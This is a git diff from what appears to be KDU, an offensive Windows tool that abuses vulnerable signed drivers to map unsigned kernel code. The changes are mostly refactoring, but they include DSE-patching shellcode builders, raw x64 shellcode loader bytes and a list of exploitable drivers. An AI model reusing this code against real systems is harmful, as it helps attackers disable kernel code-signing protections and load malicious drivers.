*Source\Tanikaze\drv\ATSZIO64.bin -e5459398bf19e711ea13a6289518b4f009557d15b5d0bd0131283e927f1eb8ab *Source\Tanikaze\drv\dbk64.bin -d2653463083e1d0e4ce1a7b3511e554150f1e555c63b13eb69dd9d4b641ee8f5 *Source\Tanikaze\drv\DbUtil2_3.bin -c76d7ab030a6a4265e732914cc730839b4ba3e80ca1050c90fb7721e835829d6 *Source\Tanikaze\drv\dbutildrv2.bin -513d816817728d08b67aee50eb236678e9920b5f2448cff73d75b79d0c96acad *Source\Tanikaze\drv\DirectIo64.bin -6e8b18e64613916bbbb6ff9e0f5a5f1c23d1dbdc84d20ea14e5395a6820a6bb0 *Source\Tanikaze\drv\ene2.bin -2bb48df5ea74f9e12f47cdda225f6cb48727f96d8a2635fa440efb5f58482897 *Source\Tanikaze\drv\EneIo64.bin -66a5b2c8e3b9a61e2b61ce7d37bc33b29684351507a5117f75634227abe044e3 *Source\Tanikaze\drv\EneTechIo64.bin -64d3864dfed46c709a38e3b1083fb715b172fdd9a7e060ff048b57686e2e058b *Source\Tanikaze\drv\gdrv.bin -de7a589bff3665d1a7421fc25806ff1f03538341c543a398f23572ebe5da1a85 *Source\Tanikaze\drv\GLCKIO2.bin -5b8e4905ccf9dea7145ed7bad350a43e8e2c81065b4cb1149a00354f67a15cb3 *Source\Tanikaze\drv\gmerdrv.bin -2c06022ab92311847255f8fcfff7863ab7d464fdc3ea19a943c5e53f87c94bad *Source\Tanikaze\drv\iQVM64.bin -88f31693190a9a50c357ba712bf398c3cffe09de5d64cc00552e7df34fffacc6 *Source\Tanikaze\drv\kprocesshacker.bin -67b46816becc08cdb853f3e2716ef8d8c1e2ff5ca794859b13bd6566735f53e4 *Source\Tanikaze\drv\lha.bin -bff22fa8afabc776a8078af2073ed560c14843654e6feb3133952721f7205e17 *Source\Tanikaze\drv\mimidrv.bin -1115bb6ba845bd4bbbd2b9388f687f164b9838a1dd3941c20cab5e84c36df264 *Source\Tanikaze\drv\MsIo64.bin -2d9d5a641599ad08f2c19125bc4f1976691e95c1a88da45388cd144aba1107bf *Source\Tanikaze\drv\Phymemx64.bin -661491b0c93d27b5960e26aff5c662cb2becec54303890b048e7465d33090178 *Source\Tanikaze\drv\procexp.bin -5c687b2022a107748cdb294dc2d4a478255f69f4bffeef0209803d37a49f6f8d *Source\Tanikaze\drv\RTCore64.bin -e9f5a09e105a05975709bd2ccabf50e5f1cedd2159d42e56f713aba7109bbba8 *Source\Tanikaze\drv\rtkio64.bin -60e15c039544ac6d2d96cbda97af8353c3a5b72d70947dd39add47c2ef91a32a *Source\Tanikaze\drv\WinRing0x64.bin +b394488390e9339e560abef540956fab554ade1418475d1f0b2fa53488e6c884 *Source\Tanikaze\data\AsusCertService.bin +4821448b16dc3280abdc2c2d0e9064c0a59653373594fb0b6f84c03a1504794e *Source\Tanikaze\data\dbutilcat.bin +f09ebf5aff449c68f99926cec4c3bfbcf1617dbdb36d1d3bcca83edb127b4abd *Source\Tanikaze\data\dbutilinf.bin +078bd47739dca4cd7bbee8d56594ea488e5ad3a1cbafe56e5f36c1380d7a396b *Source\Tanikaze\data\KMUEXE.bin +ae2ba42b0f0a10fa945ca7416f764cb8a1e7b52a85f125a020066879cfe93e7b *Source\Tanikaze\data\KMUSIG.bin +654c50b7404069baba71d82b8f21a2cf8dadb3b395641b4ecb0bda47bff05b36 *Source\Tanikaze\drv\asio2.bin +cc06d8e6d743d72cc42ed5bbba0a324c88adda4e3fd6c879a14f24c3ca7c9b1a *Source\Tanikaze\drv\AsIO3.bin +b54f5c1e66ddc4f8f8e98f4f6dff5d24ed7212cf362979436278879eb59a3bf2 *Source\Tanikaze\drv\ATSZIO64.bin +2ab1e575f572462e5e3b3020974978db04069ec267f620935efdbc7b04a67b61 *Source\Tanikaze\drv\dbk64.bin +ee145520e5ea98da0b479a73ad5ad1add995e94ea27a46b1a03364390af13943 *Source\Tanikaze\drv\DbUtil2_3.bin +d783c71d4521fe7df86f9474247aa125cf0bce81fa8822f6acacd17c3547aa23 *Source\Tanikaze\drv\dbutildrv2.bin +753a3d347f7055a704fe06fd112b2b6cfb643556596fbc173070ab412d9855e8 *Source\Tanikaze\drv\DirectIo64.bin +7d2c07e2d1cf9a2637940230c1527f7a71632df4da82ff7a9e6761a3756a4869 *Source\Tanikaze\drv\ene2.bin +f50f906d75eb44129dc3c07ecfde9784f1a939fc8af9dd956e8b54aba7ace212 *Source\Tanikaze\drv\EneIo64.bin +bbc9a758a3ef464ab6a7aa2c9e4a03a34ecdc7ca1007d65484d72c2591d39ffc *Source\Tanikaze\drv\EneTechIo64.bin +ec1a22621f5b2be3a0077a546b22250c362c4e82e84c3edf8f6eb647c248efcc *Source\Tanikaze\drv\gdrv.bin +05ad3f90c6ef313b27c627f6004378bd8c95500b64536702504d9d43ebdc590a *Source\Tanikaze\drv\GLCKIO2.bin +d74c09f50f51915228f207e9d56412f607c5287d7d772a914c94e337f2af8ad0 *Source\Tanikaze\drv\gmerdrv.bin +59b78141995341b19dd9611b8c8224f6c52a7cdce0aed5e83a5c7d0bda0d0861 *Source\Tanikaze\drv\iQVM64.bin +4df9b08915ec1fff8730e96cd7672a4f7544962edc5bcfe9a8e08440f9db6b0a *Source\Tanikaze\drv\kprocesshacker.bin +fef2e03182d98598904e16154838e9a2580dab524c7179dc32e17f81ffdc867b *Source\Tanikaze\drv\lha.bin +8f6750747d721e51d91d1bba2d23631873adf07cec504b55a37585947b3db65c *Source\Tanikaze\drv\mimidrv.bin +40b689b5bbb6da0ed6f8c56eac5945d005314b93004aac39739b32fdda78b473 *Source\Tanikaze\drv\MsIo64.bin +e5e39880ad0162cc0c793ec52495a621a9811f118a2196d3607899368d243ff9 *Source\Tanikaze\drv\Phymemx64.bin +2974c05b4a43e4900d6185d82328fe1fa8700818b8e46ca49a25092a72627a18 *Source\Tanikaze\drv\procexp.bin +b9e53910ad1ea540c2a569f7b355fc390cf2a417ee4308a99829850d51eb5cf2 *Source\Tanikaze\drv\RTCore64.bin +ba8f9fca461a049d11488aff5ec5c606f74dc8648ae17063f249e93980e93823 *Source\Tanikaze\drv\rtkio64.bin +fc833f42ef6fa84bed9f9cabbfc90f700fc5245c8e2ef1fd397906d0c6227617 *Source\Tanikaze\drv\WinRing0x64.bin bf86c929ee9ee2bb88187e1d82bcddfe83375c73e6787b83a7e414dff691e35b *Source\Utils\readme.txt c776bc97ee2fbe48d3e148bb37c887862e6de212d4391d6df9b5f149e40ed223 *Source\Utils\GenAsIo2Unlock\GenAsIo2Unlock.sln c4a28bc43a63a40ff2d8699fa261ee1ced6783d199043484ea7921e8d078ea08 *Source\Utils\GenAsIo2Unlock\GenAsIo2Unlock.vcxproj diff --git a/README.md b/README.md index f53d414..9dea1bc 100644 --- a/README.md +++ b/README.md @@ -119,7 +119,7 @@ You use it at your own risk. Some lazy AV may flag this tool as hacktool/malware | 19 | Microsoft | ProcExp152 | Process Explorer | Original | 1.5.2 and below | | 20 | Dell | DBUtilDrv2 | Dell BIOS Utility | Original | 2.7 and below | | 21 | DarkByte | Dbk64 | Cheat Engine | Original | 7.4 and below | -| 22 | ASUSTeK | AsIO3 | ASUS GPU Tweak II / III | WINIO | 2.3.0.3 | +| 22 | ASUSTeK | AsIO3 | ASUS GPU Tweak II/III | WINIO | 2.3.0.3 | More providers maybe added in the future. diff --git a/Source/Hamakaze/KDU.vcxproj.user b/Source/Hamakaze/KDU.vcxproj.user index 60b3fbb..2f337c2 100644 --- a/Source/Hamakaze/KDU.vcxproj.user +++ b/Source/Hamakaze/KDU.vcxproj.user @@ -1,11 +1,11 @@  - -test + -prv 21 -scv 4 -map c:\makeexe\kdu\bin\dummy.sys WindowsLocalDebugger - -prv 21 -dse 6 + -prv 22 -map c:\makeexe\kdu\bin\dummy.sys WindowsLocalDebugger \ No newline at end of file diff --git a/Source/Hamakaze/consts.h b/Source/Hamakaze/consts.h index 4305429..b4a91a4 100644 --- a/Source/Hamakaze/consts.h +++ b/Source/Hamakaze/consts.h @@ -6,7 +6,7 @@ * * VERSION: 1.20 * -* DATE: 10 Feb 2022 +* DATE: 15 Feb 2022 * * Global consts. * diff --git a/Source/Hamakaze/drvmap.cpp b/Source/Hamakaze/drvmap.cpp index 8c45cef..d48dbf4 100644 --- a/Source/Hamakaze/drvmap.cpp +++ b/Source/Hamakaze/drvmap.cpp @@ -407,6 +407,7 @@ PVOID KDUSetupShellCode( } printf_s("[+] Ntoskrnl.exe mapped at 0x%llX\r\n", KernelImage); + Context->NtOsMappedBase = KernelImage; // // Prepare and store payload for later shellcode use. diff --git a/Source/Hamakaze/global.h b/Source/Hamakaze/global.h index 385e668..dfed3d1 100644 --- a/Source/Hamakaze/global.h +++ b/Source/Hamakaze/global.h @@ -6,7 +6,7 @@ * * VERSION: 1.20 * -* DATE: 10 Feb 2022 +* DATE: 15 Feb 2022 * * Common include header file. * diff --git a/Source/Hamakaze/idrv/dbk.cpp b/Source/Hamakaze/idrv/dbk.cpp index 8a22723..0c8f1c5 100644 --- a/Source/Hamakaze/idrv/dbk.cpp +++ b/Source/Hamakaze/idrv/dbk.cpp @@ -6,7 +6,7 @@ * * VERSION: 1.20 * -* DATE: 14 Feb 2022 +* DATE: 16 Feb 2022 * * Cheat Engine's DBK driver routines. * @@ -36,7 +36,7 @@ #define DBK_SC_MAX_SIZE PAGE_SIZE #define DBK_SHELLCODE_CI_PAYLOAD_SIZE DBK_SC_MAX_SIZE -\ DBK_INIT_CODE_SIZE - \ - sizeof(PVOID) - \ + sizeof(PULONG_PTR) - \ sizeof(ULONG_PTR) typedef struct _DBK_SHELLCODE_CI { @@ -62,7 +62,7 @@ VOID WINAPI DbkDsePatchRoutine( } /* -* DbkpBuildShellCode +* DbkpBuildShellCodeDsePatch * * Purpose: * @@ -76,6 +76,8 @@ BOOL DbkpBuildShellCodeDsePatch( ) { ULONG procSize, maxSize; + PVOID pvInitCode; + ULONG initSize = 0; procSize = ScSizeOfProc((BYTE*)DbkDsePatchRoutine); maxSize = DBK_SHELLCODE_CI_PAYLOAD_SIZE; @@ -91,40 +93,22 @@ BOOL DbkpBuildShellCodeDsePatch( #endif } - memcpy(ShellCode->Payload, DbkDsePatchRoutine, procSize); - - memset(ShellCode->InitCode, 0xCC, sizeof(DBK_INIT_CODE_SIZE)); - - // 00 call +5 - // 05 pop rcx - // 06 sub rcx, 5 - // 0A jmps 10 - // 0B int 3 - // 0C int 3 - // 0D int 3 - // 0E int 3 - // 0F int 3 - // 10 code - - //call +5 - ShellCode->InitCode[0x0] = 0xE8; - ShellCode->InitCode[0x1] = 0x00; - ShellCode->InitCode[0x2] = 0x00; - ShellCode->InitCode[0x3] = 0x00; - ShellCode->InitCode[0x4] = 0x00; - - //pop rcx - ShellCode->InitCode[0x5] = 0x59; - - //sub rcx, 5 - ShellCode->InitCode[0x6] = 0x48; - ShellCode->InitCode[0x7] = 0x83; - ShellCode->InitCode[0x8] = 0xE9; - ShellCode->InitCode[0x9] = 0x05; - - // jmps - ShellCode->InitCode[0xA] = 0xEB; - ShellCode->InitCode[0xB] = 0x04; + RtlCopyMemory(ShellCode->Payload, DbkDsePatchRoutine, procSize); + RtlFillMemory(ShellCode->InitCode, sizeof(ShellCode->InitCode), 0xCC); + + pvInitCode = ScGetBootstrapLdr(KDU_SHELLCODE_V4, &initSize); + + if (initSize > DBK_INIT_CODE_SIZE) { + + supPrintfEvent(kduEventError, + "[!] Loader code size 0x%lX exceeds limit 0x%lX, abort\r\n", + initSize, + DBK_INIT_CODE_SIZE); + + return FALSE; + } + + RtlCopyMemory(ShellCode->InitCode, pvInitCode, initSize); ShellCode->AddressOfVariable = (PULONG_PTR)Address; ShellCode->ValueToWrite = Value; diff --git a/Source/Hamakaze/ipcsvc.cpp b/Source/Hamakaze/ipcsvc.cpp index 543768e..9a59e75 100644 --- a/Source/Hamakaze/ipcsvc.cpp +++ b/Source/Hamakaze/ipcsvc.cpp @@ -20,198 +20,198 @@ #include "../Shared/ntos/ntalpc.h" void IpcpSetMessageSize( - _In_ PPORT_MESSAGE64 Message, - _In_ ULONG Size + _In_ PPORT_MESSAGE64 Message, + _In_ ULONG Size ) { - Message->u1.s1.TotalLength = (CSHORT)(Size + sizeof(PORT_MESSAGE64)); - Message->u1.s1.DataLength = (CSHORT)Size; + Message->u1.s1.TotalLength = (CSHORT)(Size + sizeof(PORT_MESSAGE64)); + Message->u1.s1.DataLength = (CSHORT)Size; } NTSTATUS IpcpCreateServerPort( - _Out_ PHANDLE PortHandle) + _Out_ PHANDLE PortHandle) { - NTSTATUS ntStatus; - ULONG sdLength; - ALPC_PORT_ATTRIBUTES portAttr; - PSECURITY_DESCRIPTOR pSD; - PACL dacl; - PSID adminSid; - - SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY; - UCHAR sidBuffer[FIELD_OFFSET(SID, SubAuthority) + sizeof(ULONG) * 2]; - SID everyoneSid = { SID_REVISION, 1, SECURITY_WORLD_SID_AUTHORITY, { SECURITY_WORLD_RID } }; - - OBJECT_ATTRIBUTES attr; - UNICODE_STRING portName; - - adminSid = (PSID)sidBuffer; - RtlInitializeSid(adminSid, &ntAuthority, 2); - *RtlSubAuthoritySid(adminSid, 0) = SECURITY_BUILTIN_DOMAIN_RID; - *RtlSubAuthoritySid(adminSid, 1) = DOMAIN_ALIAS_RID_ADMINS; - - sdLength = SECURITY_DESCRIPTOR_MIN_LENGTH + - (ULONG)sizeof(ACL) + - (ULONG)sizeof(ACCESS_ALLOWED_ACE) + - RtlLengthSid(adminSid) + - (ULONG)sizeof(ACCESS_ALLOWED_ACE) + - RtlLengthSid(&everyoneSid); - - pSD = supHeapAlloc(sdLength); - if (pSD) { - dacl = (PACL)RtlOffsetToPointer(pSD, SECURITY_DESCRIPTOR_MIN_LENGTH); - RtlCreateSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION); - RtlCreateAcl(dacl, sdLength - SECURITY_DESCRIPTOR_MIN_LENGTH, ACL_REVISION); - RtlAddAccessAllowedAce(dacl, ACL_REVISION, PORT_ALL_ACCESS, adminSid); - RtlAddAccessAllowedAce(dacl, ACL_REVISION, PORT_CONNECT, &everyoneSid); - RtlSetDaclSecurityDescriptor(pSD, TRUE, dacl, FALSE); - } - - RtlInitUnicodeString(&portName, KDU_PORT_NAME); - InitializeObjectAttributes(&attr, &portName, OBJ_CASE_INSENSITIVE, NULL, pSD); - - RtlSecureZeroMemory(&portAttr, sizeof(portAttr)); - portAttr.MaxMessageLength = sizeof(KDU_LPC_MESSAGE); - - ntStatus = NtAlpcCreatePort(PortHandle, &attr, &portAttr); - - if (pSD) supHeapFree(pSD); - - return ntStatus; + NTSTATUS ntStatus; + ULONG sdLength; + ALPC_PORT_ATTRIBUTES portAttr; + PSECURITY_DESCRIPTOR pSD; + PACL dacl; + PSID adminSid; + + SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY; + UCHAR sidBuffer[FIELD_OFFSET(SID, SubAuthority) + sizeof(ULONG) * 2]; + SID everyoneSid = { SID_REVISION, 1, SECURITY_WORLD_SID_AUTHORITY, { SECURITY_WORLD_RID } }; + + OBJECT_ATTRIBUTES attr; + UNICODE_STRING portName; + + adminSid = (PSID)sidBuffer; + RtlInitializeSid(adminSid, &ntAuthority, 2); + *RtlSubAuthoritySid(adminSid, 0) = SECURITY_BUILTIN_DOMAIN_RID; + *RtlSubAuthoritySid(adminSid, 1) = DOMAIN_ALIAS_RID_ADMINS; + + sdLength = (ULONG)SECURITY_DESCRIPTOR_MIN_LENGTH + + (ULONG)sizeof(ACL) + + (ULONG)sizeof(ACCESS_ALLOWED_ACE) + + RtlLengthSid(adminSid) + + (ULONG)sizeof(ACCESS_ALLOWED_ACE) + + RtlLengthSid(&everyoneSid); + + pSD = supHeapAlloc(sdLength); + if (pSD) { + dacl = (PACL)RtlOffsetToPointer(pSD, SECURITY_DESCRIPTOR_MIN_LENGTH); + RtlCreateSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION); + RtlCreateAcl(dacl, sdLength - SECURITY_DESCRIPTOR_MIN_LENGTH, ACL_REVISION); + RtlAddAccessAllowedAce(dacl, ACL_REVISION, PORT_ALL_ACCESS, adminSid); + RtlAddAccessAllowedAce(dacl, ACL_REVISION, PORT_CONNECT, &everyoneSid); + RtlSetDaclSecurityDescriptor(pSD, TRUE, dacl, FALSE); + } + + RtlInitUnicodeString(&portName, KDU_PORT_NAME); + InitializeObjectAttributes(&attr, &portName, OBJ_CASE_INSENSITIVE, NULL, pSD); + + RtlSecureZeroMemory(&portAttr, sizeof(portAttr)); + portAttr.MaxMessageLength = sizeof(KDU_LPC_MESSAGE); + + ntStatus = NtAlpcCreatePort(PortHandle, &attr, &portAttr); + + if (pSD) supHeapFree(pSD); + + return ntStatus; } DWORD WINAPI IpcPortThreadWorker( - _In_ LPVOID Param + _In_ LPVOID Param ) { - NTSTATUS ntStatus; - LONG_PTR index; - HANDLE serverPort = NULL; - HANDLE clientPort; + NTSTATUS ntStatus; + LONG_PTR index; + HANDLE serverPort = NULL; + HANDLE clientPort; - PKDU_LPC_MESSAGE plpcTxMsg = NULL; - PKDU_MSG pMsg; - LPVOID contextPtr; + PKDU_LPC_MESSAGE plpcTxMsg = NULL; + PKDU_MSG pMsg; + LPVOID contextPtr; - PKDU_SERVER_PARAMS serverParams = (PKDU_SERVER_PARAMS)Param; + PKDU_SERVER_PARAMS serverParams = (PKDU_SERVER_PARAMS)Param; #define MAX_KDU_CLIENTS 2 - HANDLE portClients[MAX_KDU_CLIENTS]; - KDU_LPC_MESSAGE lpcTxMsg, lpcRxMsg; - - FUNCTION_ENTER_MSG(__FUNCTION__); - - ntStatus = IpcpCreateServerPort(&serverPort); - if (!NT_SUCCESS(ntStatus)) - return (DWORD)-2; - - RtlSecureZeroMemory(&portClients, sizeof(portClients)); - RtlSecureZeroMemory(&lpcTxMsg, sizeof(lpcTxMsg)); - RtlSecureZeroMemory(&lpcRxMsg, sizeof(lpcRxMsg)); - - while (TRUE) { - - contextPtr = NULL; - - ntStatus = NtReplyWaitReceivePort(serverPort, - &contextPtr, - (PPORT_MESSAGE)plpcTxMsg , - (PPORT_MESSAGE)&lpcRxMsg); - - plpcTxMsg = NULL; - - if (!NT_SUCCESS(ntStatus)) - continue; - - switch (lpcRxMsg.Header.u2.s2.Type & (~LPC_CONTINUATION_REQUIRED)) - { - - case LPC_CONNECTION_REQUEST: - - index = -1; - for (INT c = 0; c < MAX_KDU_CLIENTS; ++c) - { - if (portClients[c] == NULL) - { - index = c; - break; - } - } - - clientPort = NULL; - if (index >= 0) { - - if (serverParams->OnConnect) { - serverParams->OnConnect((PCLIENT_ID)&lpcRxMsg.Header.ClientId, - TRUE, - serverParams->UserContext); - } - - ntStatus = NtAlpcAcceptConnectPort(&clientPort, - serverPort, - 0, - NULL, - NULL, - (PVOID)(index + 4096), - (PPORT_MESSAGE)&lpcRxMsg.Header, - NULL, - TRUE); - - if (NT_SUCCESS(ntStatus)) { - portClients[index] = clientPort; - } - - - } - else { - - if (serverParams->OnConnect) { - serverParams->OnConnect((PCLIENT_ID)&lpcRxMsg.Header.ClientId, - FALSE, - serverParams->UserContext); - } - - NtAlpcAcceptConnectPort(&clientPort, - serverPort, - 0, - NULL, - NULL, - NULL, - (PPORT_MESSAGE)&lpcRxMsg.Header, - NULL, - FALSE); - - } - - break; - - case LPC_CLIENT_DIED: - case LPC_PORT_CLOSED: - - index = (LONG_PTR)contextPtr - 4096; - if (index >= 0 && index < MAX_KDU_CLIENTS) { - if (portClients[index] != NULL) - { - NtAlpcDisconnectPort(portClients[index], 0); - - if (serverParams->OnPortClose) { - serverParams->OnPortClose(portClients[index], - serverParams->UserContext); - } - - NtClose(portClients[index]); - portClients[index] = NULL; - } - } - break; + HANDLE portClients[MAX_KDU_CLIENTS]; + KDU_LPC_MESSAGE lpcTxMsg, lpcRxMsg; + + FUNCTION_ENTER_MSG(__FUNCTION__); + + ntStatus = IpcpCreateServerPort(&serverPort); + if (!NT_SUCCESS(ntStatus)) + return (DWORD)-2; + + RtlSecureZeroMemory(&portClients, sizeof(portClients)); + RtlSecureZeroMemory(&lpcTxMsg, sizeof(lpcTxMsg)); + RtlSecureZeroMemory(&lpcRxMsg, sizeof(lpcRxMsg)); + + while (TRUE) { + + contextPtr = NULL; + + ntStatus = NtReplyWaitReceivePort(serverPort, + &contextPtr, + (PPORT_MESSAGE)plpcTxMsg, + (PPORT_MESSAGE)&lpcRxMsg); + + plpcTxMsg = NULL; + + if (!NT_SUCCESS(ntStatus)) + continue; + + switch (lpcRxMsg.Header.u2.s2.Type & (~LPC_CONTINUATION_REQUIRED)) + { + + case LPC_CONNECTION_REQUEST: + + index = -1; + for (INT c = 0; c < MAX_KDU_CLIENTS; ++c) + { + if (portClients[c] == NULL) + { + index = c; + break; + } + } + + clientPort = NULL; + if (index >= 0) { + + if (serverParams->OnConnect) { + serverParams->OnConnect((PCLIENT_ID)&lpcRxMsg.Header.ClientId, + TRUE, + serverParams->UserContext); + } + + ntStatus = NtAlpcAcceptConnectPort(&clientPort, + serverPort, + 0, + NULL, + NULL, + (PVOID)(index + 4096), + (PPORT_MESSAGE)&lpcRxMsg.Header, + NULL, + TRUE); + + if (NT_SUCCESS(ntStatus)) { + portClients[index] = clientPort; + } + + + } + else { + + if (serverParams->OnConnect) { + serverParams->OnConnect((PCLIENT_ID)&lpcRxMsg.Header.ClientId, + FALSE, + serverParams->UserContext); + } + + NtAlpcAcceptConnectPort(&clientPort, + serverPort, + 0, + NULL, + NULL, + NULL, + (PPORT_MESSAGE)&lpcRxMsg.Header, + NULL, + FALSE); + + } + + break; + + case LPC_CLIENT_DIED: + case LPC_PORT_CLOSED: + + index = (LONG_PTR)contextPtr - 4096; + if (index >= 0 && index < MAX_KDU_CLIENTS) { + if (portClients[index] != NULL) + { + NtAlpcDisconnectPort(portClients[index], 0); + + if (serverParams->OnPortClose) { + serverParams->OnPortClose(portClients[index], + serverParams->UserContext); + } + + NtClose(portClients[index]); + portClients[index] = NULL; + } + } + break; case LPC_REQUEST: pMsg = (PKDU_MSG)&lpcRxMsg.Data[0]; __try { - serverParams->OnReceive((CLIENT_ID*)&lpcRxMsg.Header.ClientId, - pMsg, - serverParams->UserContext); + serverParams->OnReceive((CLIENT_ID*)&lpcRxMsg.Header.ClientId, + pMsg, + serverParams->UserContext); } __except (EXCEPTION_EXECUTE_HANDLER) { serverParams->OnReceiveException(GetExceptionCode(), serverParams->UserContext); @@ -225,58 +225,58 @@ DWORD WINAPI IpcPortThreadWorker( break; - default: - break; - } + default: + break; + } - } + } - if (serverPort) - NtClose(serverPort); + if (serverPort) + NtClose(serverPort); - ExitThread(ERROR_SUCCESS); + ExitThread(ERROR_SUCCESS); } PVOID IpcStartApiServer( - _In_ IpcOnReceive OnReceive, - _In_ IpcOnException OnException, - _In_opt_ IpcOnConnect OnConnect, - _In_opt_ IpcOnPortClose OnPortClose, - _In_opt_ PVOID UserContext + _In_ IpcOnReceive OnReceive, + _In_ IpcOnException OnException, + _In_opt_ IpcOnConnect OnConnect, + _In_opt_ IpcOnPortClose OnPortClose, + _In_opt_ PVOID UserContext ) { - DWORD dwThreadId = 0; - - PKDU_SERVER_PARAMS params; - - params = (PKDU_SERVER_PARAMS)supHeapAlloc(sizeof(KDU_SERVER_PARAMS)); - if (params) { - - params->OnReceive = OnReceive; - params->UserContext = UserContext; - params->OnReceiveException = OnException; - if (OnConnect) params->OnConnect = OnConnect; - if (OnPortClose) params->OnPortClose = OnPortClose; - - HANDLE hThread = CreateThread(NULL, - 0, - (LPTHREAD_START_ROUTINE)IpcPortThreadWorker, - (PVOID)params, - 0, - &dwThreadId); - - if (hThread) { - params->ServerHandle = hThread; - } - else - { - supHeapFree(params); - params = NULL; - } - - } - - return params; + DWORD dwThreadId = 0; + + PKDU_SERVER_PARAMS params; + + params = (PKDU_SERVER_PARAMS)supHeapAlloc(sizeof(KDU_SERVER_PARAMS)); + if (params) { + + params->OnReceive = OnReceive; + params->UserContext = UserContext; + params->OnReceiveException = OnException; + if (OnConnect) params->OnConnect = OnConnect; + if (OnPortClose) params->OnPortClose = OnPortClose; + + HANDLE hThread = CreateThread(NULL, + 0, + (LPTHREAD_START_ROUTINE)IpcPortThreadWorker, + (PVOID)params, + 0, + &dwThreadId); + + if (hThread) { + params->ServerHandle = hThread; + } + else + { + supHeapFree(params); + params = NULL; + } + + } + + return params; } #pragma warning(push) diff --git a/Source/Hamakaze/kduplist.h b/Source/Hamakaze/kduplist.h index 0111565..be9b494 100644 --- a/Source/Hamakaze/kduplist.h +++ b/Source/Hamakaze/kduplist.h @@ -6,7 +6,7 @@ * * VERSION: 1.20 * -* DATE: 14 Feb 2022 +* DATE: 15 Feb 2022 * * Providers global list. * @@ -752,4 +752,5 @@ static KDU_PROVIDER g_KDUProviders[] = (provReadPhysicalMemory)WinIoReadPhysicalMemory, (provWritePhysicalMemory)WinIoWritePhysicalMemory } + }; diff --git a/Source/Hamakaze/kduprov.cpp b/Source/Hamakaze/kduprov.cpp index 41a37e3..a875942 100644 --- a/Source/Hamakaze/kduprov.cpp +++ b/Source/Hamakaze/kduprov.cpp @@ -6,7 +6,7 @@ * * VERSION: 1.20 * -* DATE: 10 Feb 2022 +* DATE: 15 Feb 2022 * * Vulnerable drivers provider abstraction layer. * @@ -827,7 +827,7 @@ PKDU_CONTEXT WINAPI KDUProviderCreate( if (ShellCodeVersion != KDU_SHELLCODE_NONE) { if (!KDUIsSupportedShell(ShellCodeVersion, prov->SupportedShellFlags)) { supPrintfEvent(kduEventError, - "[!] Selected shellcode %lu is not supported by this provider (supported mask: %lu), abort\r\n", + "[!] Selected shellcode %lu is not supported by this provider (supported mask: 0x%08x), abort\r\n", ShellCodeVersion, prov->SupportedShellFlags); break; } diff --git a/Source/Hamakaze/kduprov.h b/Source/Hamakaze/kduprov.h index 601633b..3495bd2 100644 --- a/Source/Hamakaze/kduprov.h +++ b/Source/Hamakaze/kduprov.h @@ -297,6 +297,7 @@ typedef struct _KDU_CONTEXT { HINSTANCE ModuleBase; ULONG_PTR NtOsBase; + ULONG_PTR NtOsMappedBase; HANDLE DeviceHandle; //full file name to the vulnerable driver diff --git a/Source/Hamakaze/res/SB_SMBUS_SDK.bin b/Source/Hamakaze/res/SB_SMBUS_SDK.bin index f1ceca4b71ba54092ea04ca7afb95855ebbbff90..e4c68b03a1ba24587a4b6a3501206865e7be91bd 100644 GIT binary patch delta 21 dcmZ40#JsABnah5Dzo%2*?YYmBH*zT)1OQHgYK(1OQ?l2?ziH diff --git a/Source/Hamakaze/res/Taigei32.bin b/Source/Hamakaze/res/Taigei32.bin index bc8c14b8af5c4ccb1c13b4c92817454c435cb9d1..d1474098db1e9cc643eef0c30aac6e10e9396f41 100644 GIT binary patch delta 19 bcmdldvQLD|ety5_A=Tq^pC@nRGT{OMQFaIO delta 19 acmdldvQLD|ety5_C*Sg$5=k4mOt=6~0|#dS diff --git a/Source/Hamakaze/shellcode.cpp b/Source/Hamakaze/shellcode.cpp index f9385b7..2b18ab0 100644 --- a/Source/Hamakaze/shellcode.cpp +++ b/Source/Hamakaze/shellcode.cpp @@ -6,7 +6,7 @@ * * VERSION: 1.20 * -* DATE: 10 Feb 2022 +* DATE: 16 Feb 2022 * * Default driver mapping shellcode(s) implementation. * @@ -98,6 +98,67 @@ typedef struct _SHELLCODE { static IO_STACK_LOCATION g_testIostl; static ULONG64 g_DummyULONG64; +// +// ScBootstrapLdr.asm +// +// 00 call +5 +// 05 pop rcx +// 06 sub rcx, 5 +// 0A jmps 10 +// 0B int 3 +// 0C int 3 +// 0D int 3 +// 0E int 3 +// 0F int 3 +// 10 code +// +BYTE ScBootstrapLdr[] = { 0xE8, 0x00, 0x00, 0x00, 0x00, 0x59, 0x48, 0x83, 0xE9, 0x05, 0xEB, 0x04 }; + +// +// ScBootstrapLdrCommon.asm +// +// 00 call +5 +// 05 pop r8 +// 07 sub r8, 5 +// 0B jmps 10 +// 0D int 3 +// 0E int 3 +// 0F int 3 +// 10 code +// +BYTE ScBootstrapLdrCommon[] = { 0xE8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x58, 0x49, 0x83, 0xE8, 0x05, 0xEB, 0x03 }; + +/* +* ScGetBootstrapLdr +* +* Purpose: +* +* Return shellcode bootstrap loader pointer and size. +* +*/ +PVOID ScGetBootstrapLdr( + _In_ ULONG ShellVersion, + _Out_opt_ PULONG Size +) +{ + ULONG size; + PVOID ptr; + + switch (ShellVersion) { + case KDU_SHELLCODE_V4: + size = sizeof(ScBootstrapLdr); + ptr = ScBootstrapLdr; + break; + default: + size = sizeof(ScBootstrapLdrCommon); + ptr = ScBootstrapLdrCommon; + break; + } + + if (Size) *Size = size; + return ptr; +} + /* * * Set of user mode test routines. @@ -1691,91 +1752,33 @@ VOID ScFree( * * Purpose: * -* Prepare init code for shellcode version specific. +* Store init code for shellcode version specific. * */ -VOID ScBuildInitCodeForVersion( +BOOL ScBuildInitCodeForVersion( _In_ ULONG ShellVersion, _In_ PSHELLCODE pvShellCode ) { + PVOID pvInitCode; + ULONG initSize = 0; + // // Fill entire init code with int 3 // - memset(pvShellCode->InitCode, 0xCC, sizeof(pvShellCode->InitCode)); - - switch (ShellVersion) { - case KDU_SHELLCODE_V4: - // 00 call +5 - // 05 pop rcx - // 06 sub rcx, 5 - // 0A jmps 10 - // 0B int 3 - // 0C int 3 - // 0D int 3 - // 0E int 3 - // 0F int 3 - // 10 code - - //call +5 - pvShellCode->InitCode[0x0] = 0xE8; - pvShellCode->InitCode[0x1] = 0x00; - pvShellCode->InitCode[0x2] = 0x00; - 